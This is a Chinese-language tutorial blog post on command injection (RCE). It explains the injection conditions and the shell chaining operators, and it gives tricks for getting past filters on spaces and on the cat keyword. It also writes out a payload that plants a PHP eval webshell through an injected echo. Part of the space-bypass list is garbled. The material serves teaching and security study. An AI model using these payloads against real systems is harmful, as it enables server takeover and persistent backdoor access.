Web安全基础--命令行注入

 【概念】

命令行注入漏洞:命令执行漏洞(RCE,remote command execute)

【原理】

在应用程序开发过程中,使用了一些函数来执行系统指令,在没有做好过滤的情况下,导致外 部用户通过拼接参数到命令中,产生注入漏洞。

注入条件:

1、客户端输入值作为拼接到参数中;

2、没有足够的条件过滤;

3、应用系统中有相关敏感函数的引用

【漏洞影响】

1、继承web服务器程序权限(web用户权限),便可去执行系统命令

2、继承web服务器权限,便可读写文件等

3、反弹shell

4、控制整个网站

5、控制整个服务器

【常见的指令拼接符】

在命令行注入时经常会使用的拼接符 |、&和;符。

1、| 符:管道符“|”上一条命令的输出,作为下一条命令参数(command1|command2 )

1.1 如 ping www.baidu.com | ls

1.2 注意:当command1执行报错时,结果会打印command2的结果以及command1的错误信息

2、&符:&放在启动参数后面表示设置此命令在后台运行

2.1  如 cp –R /home/happen /backup/happen/ &

2.2  在命令注入漏洞中&符解析成 command1 & command2(表示先执行command1后执行 command2)

3、;符:command1;command2(命令从左到右顺序执行)

4、在命令行注入时经常会使用的拼接符||和&&

4.1  || 符:command1||command2(当左边为假时执行右边命令)

4.2  &&符: command1&&command2(当左边为真时执行右边命令

【常见类型绕过方法】

1、在Web程序中有对空格过滤的情况,如下图

 绕过方式有:

<,<>,%20(space),%09(tab),$IFS$9,  I F S , {IFS},IFS,IFS

 2、在Web程序中有对关键词cat命令过滤的情况,如

 cat绕过方式有:

2.1 less或more或tail命令绕过

 

2.2 注入一句话木马:

127.0.0.1&echo "<?php @eval(\$_POST['shell']);?>">> demo.php

2.3 通过反斜杠或链接符绕过 

反斜杠:ca\t fl\ag.php

链接符:ca"t fla"g.txt

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值